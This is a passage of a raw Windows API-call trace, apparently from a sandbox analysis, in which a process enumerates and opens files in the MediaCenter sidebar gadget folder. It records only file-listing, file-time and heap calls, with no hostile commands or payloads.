FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a7ffd3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29acc28f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e4a91, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863e4a91, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0 [0080.652] GetLastError () returned 0x12 [0080.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12466a8) returned 1 [0080.653] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12465a0) returned 1 [0080.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1246498) returned 1 [0080.654] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.654] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.654] GetLastError () returned 0x12 [0080.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.654] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.654] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="")) returned 1 [0080.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.655] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.655] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.655] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.655] NtClose (Handle=0x178) returned 0x0 [0080.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.656] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.657] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.657] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.657] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.657] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0080.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5d70 [0080.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246498 [0080.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.659] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.659] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.659] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="")) returned 1 [0080.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5d90 [0080.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12465a0 [0080.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.660] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a59d04, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e9e7900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xe17d845, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCESidebarCtrl.dll", cAlternateFileName="")) returned 1 [0080.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.661] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5db0 [0080.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12466a8 [0080.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.662] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.662] GetLastError () returned 0x12 [0080.662] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.662] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.662] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.662] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.663] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.663] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.663] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.663] NtClose (Handle=0x178) returned 0x0 [0080.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248598 [0080.664] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.664] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.664] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0080.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12486a0 [0080.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5dd0 [0080.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12487a8 [0080.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.666] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5df0 [0080.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12488b0 [0080.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.667] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5e10 [0080.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12489b8 [0080.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.668] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 